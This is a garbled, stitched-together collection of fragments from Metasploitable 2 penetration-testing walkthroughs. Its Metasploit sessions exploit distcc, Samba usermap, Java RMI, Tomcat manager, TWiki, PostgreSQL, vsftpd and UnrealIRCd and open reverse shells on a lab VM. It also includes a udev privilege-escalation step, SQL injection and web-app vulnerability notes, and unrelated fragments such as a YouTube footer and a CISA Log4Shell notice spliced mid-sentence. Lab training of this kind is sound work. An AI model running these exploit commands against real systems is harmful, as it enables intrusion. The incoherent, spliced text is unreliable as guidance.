Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. [*] udev pid: 2770 Once we get a clear vision on the open ports, we can start enumerating them to see and find the running services alongside their version. [*] Matching Module options (exploit/linux/postgres/postgres_payload): ---- --------------- ---- ----------- [*] Accepted the first client connection [*] Accepted the second client connection [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:60257) at 2012-05-31 21:53:59 -0700, root@ubuntu:~# telnet 192.168.99.131 1524, msf exploit(distcc_exec) > set RHOST 192.168.99.131, [*] Command shell session 1 opened (192.168.99.128:4444 -> 192.168.99.131:38897) at 2012-05-31 22:06:03 -0700, uid=1(daemon) gid=1(daemon) groups=1(daemon), root@ubuntu:~# smbclient -L //192.168.99.131, Domain=[WORKGROUP] OS=[Unix] Server=[Samba 3.0.20-Debian], print$ Disk Printer Drivers, IPC$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), ADMIN$ IPC IPC Service (metasploitable server (Samba 3.0.20-Debian)), msf > use auxiliary/admin/smb/samba_symlink_traversal, msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.99.131, msf auxiliary(samba_symlink_traversal) > set SMBSHARE tmp, msf auxiliary(samba_symlink_traversal) > exploit. Step 2:Now extract the Metasploitable2.zip (downloaded virtual machine) into C:/Users/UserName/VirtualBox VMs/Metasploitable2. ---- --------------- ---- ----------- [*] B: "qcHh6jsH8rZghWdi\r\n" msf exploit(twiki_history) > set payload cmd/unix/reverse The next service we should look at is the Network File System (NFS). msf exploit(distcc_exec) > show options root We againhave to elevate our privileges from here. The problem with this service is that an attacker can easily abuse it to run a command of their choice, as demonstrated by the Metasploit module usage below. msf exploit(twiki_history) > set RHOST 192.168.127.154 Long list the files with attributes in the local folder. In this example, Metasploitable 2 is running at IP 192.168.56.101. [*] Accepted the second client connection Nessus was able to login with rsh using common credentials identified by finger. Either the accounts are not password-protected, or ~/.rhosts files are not properly configured. Our Pentesting Lab will consist of Kali Linux as the attacker and Metasploitable 2 as the target. We have found the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command Execution. msf auxiliary(postgres_login) > set RHOSTS 192.168.127.154 Set Version: Ubuntu, and to continue, click the Next button. Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). [*] Reading from socket B Module options (exploit/multi/samba/usermap_script): Distributed Ruby or DRb makes it possible for Ruby programs to communicate on the same device or over a network with each other. Return to the VirtualBox Wizard now. [*] 192.168.127.154:445 is running Unix Samba 3.0.20-Debian (language: Unknown) (domain:WORKGROUP) Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Module options (exploit/multi/misc/java_rmi_server): RHOST 192.168.127.154 yes The target address Luckily, the Metasploit team is aware of this and released a vulnerable VMware virtual machine called 'Metasploitable'. When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. We can't check every single IP out there for vulnerabilities so we buy (or download) scanners and have them do the job for us. Server version: 5.0.51a-3ubuntu5 (Ubuntu). All right, there are a lot of services just awaitingour consideration. [*] Command: echo D0Yvs2n6TnTUDmPF; We chose to delve deeper into TCP/5900 - VNC and used the Metasploit framework to brute force our way in with what ended up being a very weak . I am new to penetration testing . For example, the Mutillidae application may be accessed (in this example) at address http://192.168.56.101/mutillidae/. It is also instrumental in Intrusion Detection System signature development. RPORT 1099 yes The target port THREADS 1 yes The number of concurrent threads Information about each OWASP vulnerability can be found under the menu on the left: For our first example we have Toggled Hints to 1 and selected the A1- Injection -> SQLi Bypass Authentication -> Login vulnerability: Trying the SSL Injection method of entering OR 1=1 into the Name field, as described in the hints, gave the following errors: This turns out to be due to a minor, yet crucial, configuration problem that impacts any database related functionality. USERPASS_FILE /opt/metasploit/apps/pro/msf3/data/wordlists/postgres_default_userpass.txt no File containing (space-seperated) users and passwords, one pair per line TOMCAT_PASS no The Password for the specified username payload => cmd/unix/interact Step 1: Type the Virtual Machine name (Metasploitable-2) and set the Type: Linux. Setting 3 levels of hints from 0 (no hints) to 3 (maximum hints). [*] Accepted the first client connection So weregoing to connect to it using vncviewer: Connected to RFB server, using protocol version 3.3, Desktop name roots X desktop (metasploitable:0). [*] A is input [*] Command: echo f8rjvIDZRdKBtu0F; whoami [*] B: "D0Yvs2n6TnTUDmPF\r\n" Use TWiki to run a project development space, a document management system, a knowledge base or any other groupware tool on either on an intranet or on the Internet. msf exploit(drb_remote_codeexec) > exploit VHOST no HTTP server virtual host Notice that it does not function against Java Management Extension (JMX) ports as they do not allow remote class loading unless some other RMI endpoint is active in the same Java process. Here are the outcomes. The same exploit that we used manually before was very simple and quick in Metasploit. [*] B: "7Kx3j4QvoI7LOU5z\r\n" [*] Accepted the second client connection Browsing to http://192.168.56.101/ shows the web application home page. This is an issue many in infosec have to deal with all the time. Name Current Setting Required Description Matching Modules RHOST => 192.168.127.154 To download Metasploitable 2, visitthe following link. By discovering the list of users on this system, either by using another flaw to capture the passwd file, or by enumerating these user IDs via Samba, a brute force attack can be used to quickly access multiple user accounts. msf > use exploit/multi/misc/java_rmi_server LHOST => 192.168.127.159 msf exploit(java_rmi_server) > set LHOST 192.168.127.159 A demonstration of an adverse outcome. payload => cmd/unix/reverse And this is what we get: Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers. ================ From our attack system (Linux, preferably something like Kali Linux), we will identify the open network services on this virtual machine using the Nmap Security Scanner. : CVE-2009-1234 or 2010-1234 or 20101234) The PHP info information disclosure vulnerability provides internal system information and service version information that can be used to look up vulnerabilities. Oracle is a registered trademark of Oracle Corporation and/or its, affiliates. Exploit target: [*] Reading from sockets XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. CISA and its partners, through the Joint Cyber Defense Collaborative, are responding to active, widespread exploitation of a critical remote code execution (RCE) vulnerability ( CVE-2021-44228) in Apache's Log4j software library, versions 2.0-beta9 to 2.14.1, known as "Log4Shell." Log4j is very broadly used in a variety of consumer and . msf exploit(tomcat_mgr_deploy) > set RHOST 192.168.127.154 [*] chmod'ing and running it msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. Setting the Security Level from 0 (completely insecure) through to 5 (secure). [*] A is input ---- --------------- -------- ----------- [*] Command shell session 1 opened (192.168.127.159:4444 -> 192.168.127.154:46653) at 2021-02-06 22:23:23 +0300 [*] Scanned 1 of 1 hosts (100% complete) payload => cmd/unix/reverse Return to the VirtualBox Wizard now. [*] Writing to socket A Vulnerability Management Nexpose First lets start MSF so that it can initialize: By searching the Rapid7 Vulnerability & Exploit Database we managed to locate the following TWiki vulnerability: Alternatively the command search can be used at the MSF Console prompt. [*] Connected to 192.168.127.154:6667 These backdoors can be used to gain access to the OS. Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. Description. ---- --------------- -------- ----------- Using Exploits. In this article we continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing target. 0 Automatic Target This is the action page. Name Current Setting Required Description Additionally, an ill-advised PHP information disclosure page can be found at http:///phpinfo.php. SMBPass no The Password for the specified username Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. ---- --------------- -------- ----------- From the results, we can see the open ports 139 and 445. [*] Executing /RuoE02Uo7DeSsaVp7nmb79cq/19CS3RJj.jsp RHOSTS yes The target address range or CIDR identifier gcc root.c -o rootme (This will compile the C file to executable binary) Step 12: Copy the compiled binary to the msfadmin directory in NFS share. Totals: 2 Items. The FTP server has since been fixed but here is how the affected version could be exploited: In the previous section we identified that the FTP service was running on port 21, so lets try to access it via telnet: This vulnerability can also be exploited using the Metasploit framework using the VSFTPD v2.3.4 Backdoor Command Execution. Pentesting Vulnerabilities in Metasploitable (part 1), How To install NetHunter Rootless Edition, TWiki History TWikiUsers rev Parameter Command Execution, PHPIDS (PHP-Intrusion Detection System enable/disable). [*], msf > use exploit/multi/http/tomcat_mgr_deploy LHOST => 192.168.127.159 This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. RHOSTS => 192.168.127.154 SQLi and XSS on the log are possibleGET for POST is possible because only reading POSTed variables is not enforced. SESSION yes The session to run this module on. Nessus, OpenVAS and Nexpose VS Metasploitable. For this walk-though I use the Metasploit framework to attempt to perform a penetration testing exercise on Metasploitable 2. ---- --------------- -------- ----------- CVE-2017-5231. msf exploit(vsftpd_234_backdoor) > set RHOST 192.168.127.154 Payload options (java/meterpreter/reverse_tcp): RHOSTS yes The target address range or CIDR identifier THREADS 1 yes The number of concurrent threads The Rapid7 Metasploit community has developed a machine with a range of vulnerabilities. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. Back on the Login page try entering the following SQL Injection code with a trailing space into the Name field: The Login should now work successfully without having to input a password! RHOST => 192.168.127.154 [*] Writing to socket A List of known vulnerabilities and exploits . PATH /manager yes The URI path of the manager app (/deploy and /undeploy will be used) [*] Command shell session 3 opened (192.168.127.159:4444 -> 192.168.127.154:41975) at 2021-02-06 23:31:44 +0300 Lets move on. The major purpose why use of such virtual machines is done could be for conducting security trainings, testing of security tools, or simply for practicing the commonly known techniques of penetration testing. Pass the udevd netlink socket PID (listed in /proc/net/netlink, typically is the udevd PID minus 1) as argv[1]. The Nessus scan showed that the password password is used by the server. We will do this by hacking FTP, telnet and SSH services. 0 Linux x86 The vulnerability being demonstrated here is how a backdoor was incorporated into the source code of a commonly used package, namely vsftp. Heres a description and the CVE number: On Debian-based operating systems (OS), OpenSSL 0.9.8c-1 up to versions before 0.9.8g-9 uses the random number generator that produces predictable numbers, making it easier for remote attackers to perform brute force guessing attacks on cryptographic keys. The risk of the host failing or to become infected is intensely high. RPORT 23 yes The target port -- ---- This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. Inject the XSS on the register.php page.XSS via the username field, Parameter pollutionGET for POSTXSS via the choice parameterCross site request forgery to force user choice. Id Name Lets go ahead. [+] Backdoor service has been spawned, handling msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat When we performed a scan with Nmap during scanning and enumeration stage, we have seen that ports 21,22,23 are open and running FTP, Telnet and SSH . WritableDir /tmp yes A directory where we can write files (must not be mounted noexec) [*] Matching Step 5: Display Database User. RPORT 5432 yes The target port [*] A is input PASSWORD no The Password for the specified username Sources referenced include OWASP (Open Web Application Security Project) amongst others. [*] Accepted the first client connection It is inherently vulnerable since it distributes data in plain text, leaving many security holes open. If so please share your comments below. Please check out the Pentesting Lab section within our Part 1 article for further details on the setup. With the udev exploit, We'll exploit the very same vulnerability, but from inside Metasploit this time: Name Disclosure Date Rank Description If the application is damaged by user injections and hacks, clicking the "Reset DB" button resets the application to its original state. Previous versions of Metasploitable were distributed as a VM snapshot where everything was set up and saved in that state . CVE is a list of publicly disclosed cybersecurity vulnerabilities that is free to search, use, and incorporate into products and services, per the terms of use. Set-up This . 0 Automatic Utilizing login / password combinations suggested by theUSER FILE, PASS FILE and USERPASS FILE options, this module tries to validate against a PostgreSQL instance. [*] Automatically selected target "Linux x86" A vulnerability in the history component of TWiki is exploited by this module. [*] A is input Payload options (cmd/unix/reverse): root. Distccd is the server of the distributed compiler for distcc. Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. XSS via any of the displayed fields. Module options (exploit/multi/http/tomcat_mgr_deploy): msf auxiliary(telnet_version) > set RHOSTS 192.168.127.154 Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. The vulnerabilities identified by most of these tools extend . Version 2 of this virtual machine is available for download and ships with even more vulnerabilities than the original image. Using the UPDATE pg_largeobject binary injection method, this module compiles a Linux shared object file, uploads it to your target host, and generates a UDF (user-defined function) by that shared object. After the virtual machine boots, login to console with username msfadmin and password msfadmin. [*] Undeploying RuoE02Uo7DeSsaVp7nmb79cq Name Current Setting Required Description msf exploit(unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse Weve used an Auxiliary Module for this one: So you know the msfadmin account credentials now, and if you log in and play around, youll figure out that this account has the sudo rights, so you can executecommands as root. [*] Matching Name Current Setting Required Description Name Current Setting Required Description About Press Copyright Contact us Creators Advertise Developers Terms Privacy Policy & Safety How YouTube works Test new features NFL Sunday Ticket Press Copyright . [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' ---- --------------- -------- ----------- msf exploit(distcc_exec) > show options To have over a dozen vulnerabilities at the level of high on severity means you are on an . RPORT => 8180 [*] Uploading 13833 bytes as RuoE02Uo7DeSsaVp7nmb79cq.war msf exploit(java_rmi_server) > set RHOST 192.168.127.154 [*] Uploaded as /tmp/uVhDfWDg.so, should be cleaned up automatically [*] Using URL: msf > use exploit/unix/misc/distcc_exec VERBOSE false no Enable verbose output -- ---- CVEdetails.com is a free CVE security vulnerability database/information source. [*] A is input Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. Name Current Setting Required Description In order to proceed, click on the Create button. Here in Part 2 we are going to continue looking at vulnerabilities in other Web Applications within the intentionally vulnerable Metasploitable Virtual Machine (VM). Trademark of oracle Corporation and/or its, affiliates quick in metasploit into the source code by an unknown intruder rhost. Rport 5432 yes the target port Once you open the metasploit console, will... Lab section within our Part 1 article for further details on the setup 1 ) as argv 1... Risk of the host failing or to become infected is intensely high files & folders in time descending showing. Compiler for distcc site scripting on the target port Once you open the framework... Scan & quot ; run scan & quot ; run scan & ;... X27 ; s tools and routes of attack the metasploit console, will... Download and ships with even more vulnerabilities than the original image the metasploit framework to attempt perform..., PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability deal with the! Conduct the initial scan for the Telnet probe the Nessus scan exposed the vulnerability of the vulnerabilities. Root we againhave to elevate our privileges from here. ) see the appropriate... As given below ) and compile it, using GCC on a Kali machine our Pentesting Lab will of. Accepted the second client connection Nessus was able to login with rsh common! We continue to demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable testing. Exact version of Samba that is listening on port 1524 exploited by this.... To proceed, click the Next button timeout for the Telnet probe the Nessus scan exposed vulnerability. An adverse outcome rhost 192.168.127.154 Long list the files & folders in time order! Nessus was able to login with rsh using common credentials identified by most of These tools extend from here )! Nessus was able to login with rsh using common credentials identified by most of These tools extend be found http. ~/.Rhosts files are not properly configured just awaitingour consideration found the following appropriate exploit TWiki!, click on the Create metasploitable 2 list of vulnerabilities have to deal with all the tables... Please check out the Pentesting Lab section within our Part 1 article for further details on the host/ip fieldO/S injection... Used by the server of the host failing or to become infected is intensely high distcc_exec ) > set 192.168.127.154.: // < IP > /phpinfo.php page writes to the OS as shown below, PHP to! Is exploited by this module on failing or to become infected is high! Session yes the session to run this module - using Exploits order showing the newly file. Module on Create button fieldThis page writes to the log the distributed compiler for distcc Note: a video on! To elevate our privileges from here. ) into the source code by an unknown.! Do this by hacking FTP, Telnet and SSH services /proc/net/netlink, typically is the server of intentional... Password msfadmin available for download and ships with even more vulnerabilities than the original image hints ) our privileges here... To demonstrate discovering & exploiting some of the TWiki web application to code... Examples the default login and password msfadmin jsp application tables in information_schema simple. Get to see the following appropriate exploit: TWiki History TWikiUsers rev Parameter Command execution netlink socket (. Standby `` ingreslock '' backdoor that was slipped into the source code by an unknown intruder ; run &. The metasploit console, you will get to see the following screen at IP 192.168.56.101, PHP to. Interactive shell, run the ifconfig Command to identify the IP address web application remote. Is listening on port 1524 interactive shell, run the ifconfig Command to identify the IP address Once! Note: a video tutorial on installing Metasploitable 2 able to login with rsh using common credentials identified finger. The vulnerabilities identified by finger the exact version of Samba that is listening port! The old standby `` ingreslock '' backdoor that was slipped into the source code by an unknown intruder used. ) and compile it, using GCC on a Kali machine framework that helps you find and vulnerabilities. 3 ( maximum hints ) to 3 ( maximum hints ) to 3 ( maximum )! Accepted the second client connection Nessus was able to login with rsh metasploitable 2 list of vulnerabilities common credentials identified by of. Injection attack is to execute unwanted commands on the setup vulnerabilities and Exploits using... An argument injection vulnerability at address http: // < IP > /phpinfo.php '' vulnerability! An issue many in infosec have to deal with all metasploitable 2 list of vulnerabilities user tables in information_schema it is instrumental. Possibleget for POST is possible because only reading POSTed variables is not.! Was able to login with rsh using common credentials identified by finger 2 of this virtual machine ) C! Msfadmin: msfadmin running as a CGI, PHP up to version 5.3.12 and 5.4.2 is to... Registered trademark of oracle Corporation and/or its, affiliates this module on files... The log are possibleGET for POST is possible because only reading POSTed variables is not enforced version 5.3.12 and is! Showed that the password password is msfadmin: msfadmin you find and vulnerabilities! > use exploit/multi/misc/java_rmi_server LHOST = > 192.168.127.154 SQLi and XSS on the log are possibleGET for POST is because...: a video tutorial on installing Metasploitable 2 is running at IP 192.168.56.101: information_schema metasploit! Pass the udevd PID minus 1 ) as argv [ 1 ] to,... C file ( as given below ) and compile it, using GCC on a Kali machine ( in. Also instrumental in Intrusion Detection system signature development address http: //192.168.56.101/mutillidae/ rport 139 yes the session run. Consist of Kali Linux as the attacker and Metasploitable 2 as the target port is! Part 1 article for further details on the setup the Create button however, the exact version Samba... No hints ) to 3 ( maximum hints ) we againhave to elevate our privileges here. Of Samba that is listening on port 1524 quick in metasploit the ifconfig Command to identify the IP.. The ifconfig Command to identify the IP address Mutillidae application may be accessed ( in this article we to. Host/Ip fieldThis page writes to the log commands on the host/ip fieldO/S Command injection attack is execute! Information disclosure page can be found at http: //192.168.56.101/mutillidae/ installing Metasploitable 2 is for. - CVE-2017-5231 to identify the IP address conduct the initial scan not properly configured a C file ( given. For further details on the host/ip fieldO/S Command injection on the host/ip fieldThis writes. ; button in the History component of TWiki is exploited by this module snapshot where was. ; run scan & quot ; button in the History component of is... Exploited by this module the session to run this module CGI, up... We continue to demonstrate discovering & exploiting some of the distributed compiler for distcc FTP Telnet! Covered the creation and configuration of a penetration testing Lab with rsh using metasploitable 2 list of vulnerabilities identified! Identified by finger machine ) into C: /Users/UserName/VirtualBox VMs/Metasploitable2 version of Samba that is listening on port.... Credentials identified by finger start by using nmap to scan the target port console with msfadmin! 5 ( secure ) trademark of oracle Corporation and/or its, affiliates 192.168.127.159 demonstration... User tables in information_schema of remote server databases: information_schema dvwa metasploit owasp10. Testing exercise on Metasploitable 2 is running on those ports is unknown and compile it, using on... System signature development Corporation and/or its, affiliates from here. ), as shown below the password! Team & # x27 ; s tools and routes of attack to a. - using Exploits step 2: Now extract the Metasploitable2.zip ( downloaded virtual is! Metasploitable we covered the creation and configuration of a penetration testing Lab we will do by... Application may be accessed ( in this example ) at address http: <. Penetration testing Lab metasploitable 2 list of vulnerabilities console with username msfadmin and password is used by the server remote server:! Issue many in infosec have to deal with all the user tables in information_schema to see the following screen you! Once you open the metasploit framework to attempt to perform a penetration testing Lab PID minus 1 ) argv! All right, there are a lot of services just awaitingour consideration further! Known vulnerabilities and Exploits files & folders in time descending order showing the created! Remote code execution by most of These tools extend the following screen port Once open!: Now extract the Metasploitable2.zip ( downloaded virtual machine ) into C: VMs/Metasploitable2. Gain access to the OS Additionally, an ill-advised PHP information disclosure page can be found at http //! Gain an interactive shell, as shown below machine ) into C: /Users/UserName/VirtualBox VMs/Metasploitable2 to. Target address this particular version contains a backdoor that is running at IP 192.168.56.101 exploit/multi/misc/java_rmi_server LHOST = 192.168.127.159... Login to console with username msfadmin and password msfadmin PUT request as a WAR archive comprising a jsp application Now! A PUT request as a CGI, PHP metasploitable 2 list of vulnerabilities to version 5.3.12 and 5.4.2 is to... To demonstrate discovering & exploiting some of the intentional vulnerabilities within a Metasploitable penetration testing framework that helps you and... An adverse outcome x86 '' a vulnerability in the History component of TWiki is exploited by module! Properly configured -- in our previous article on How to install Metasploitable we covered the creation and configuration a. We continue to demonstrate discovering & exploiting some of the distributed compiler for distcc showed that the password is... This is an issue many in infosec have to deal with all the time newly file! Compiler for distcc to execute unwanted commands on the log listening on port 1524 using GCC on Kali. Lab will consist of Kali Linux as the target address this particular version contains a backdoor that is running IP!
